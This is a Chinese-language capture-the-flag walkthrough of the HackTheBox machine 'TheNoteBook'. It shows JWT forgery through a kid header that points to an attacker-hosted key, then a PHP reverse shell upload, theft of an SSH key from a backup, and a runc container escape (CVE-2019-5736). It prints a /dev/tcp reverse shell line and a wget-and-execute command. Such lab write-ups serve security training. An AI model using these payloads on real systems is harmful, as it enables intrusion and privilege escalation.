HackTheBox-TheNoteBook

0x01 信息收集

NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
| 256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_ 256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.35 seconds

80 http

20210313-14:14:22-_YCL18y_azj27N

注册了账号后,也没发现什么有趣的,但是看cookie发现有jwt格式的
20210313-14:29:08-_Mz0DaY_DvcFdD

所以,将其复制下来。可以去jwt.io解码。
解码之后的结果是:
20210313-14:31:00-_SNFcpp_R3QzYr

修改kid的值,发现是让目标可以访问指定文件的。

20210313-15:22:15-_OxMS0a_Z4NFt0

算法是RSA256。可以利用openssl命令生成RSA 私钥和公钥。

1
ssh-keygen -t rsa -b 4096 -f privKey.key

接着生成jwt的前两段内容

1
2
3
4

echo '{"typ":"JWT","alg":"RS256","kid":"http://10.10.16.69:8000/privKey.key"}' |base64

echo '{"username":"账号","email":"邮箱","admin_cap":true}' |base64

将生成的两段用.拼接成
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly8xMC4xMC4xNi42OTo4MDAwL3ByaXZLZXkua2V5In0K.eyJ1c2VybmFtZSI6ImFzZCIsImVtYWlsIjoiYUBxcS5jb20iLCJhZG1pbl9jYXAiOnRydWV9Cg==这个样子的内容复制到jwt.io左边的框

接着第三段用刚刚生成RSA私钥,复制到jwt.io的右边签名验证的第二个框
20210313-15:41:08-_FiaIyG_4Qiyfr
应该就会生成一段jwt格式了。将其复制到网站的cookie auth上。
就是管理员了。
20210313-15:45:34-_yFeiXr_syrbrW

管理员控制台可以上传文件,上传phpinfo,发现能够解析,接着上传反向shell 监听就好。
20210313-15:47:10-_WHFbbX_Ar3enS

20210313-15:49:22-_vG1axA_RHimyL

20210313-15:57:12-_ngMYRj_sYEO5y

发现一个home.tar.gz,看下压缩包里面什么文件。
20210313-15:58:44-_0Kgj7d_D1MWMh

有noah用户的id_rsa,在tmp目录下解压该压缩包,然后复制文件内容到自己机器上给予600权限,ssh登陆。

20210313-16:00:14-_iRA90r_VnocXb

sudo -l

1
(ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*

20210313-16:12:31-_rByWvG_9rx579
谷歌搜索 docker exec 漏洞能找到一个漏洞:CVE-2019-5736
利用此exp:CVE-2019-5736

复现文档:Runc容器逃逸

修改payload

1
#!/bin/bash \n bash -i >& /dev/tcp/10.10.16.69/1235 0>&1

用go编译,将编译好的二进制文件上传到目标docker容器环境内,执行二进制文件。

wget http://172.17.0.1:8000/main && chmod +x main && ./main

20210313-16:47:43-_zTlz7R_rJhtLB

开启监听,接着开另外一个终端,执行

1
sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh

20210313-16:56:21-_UYNXDQ_G0k3HP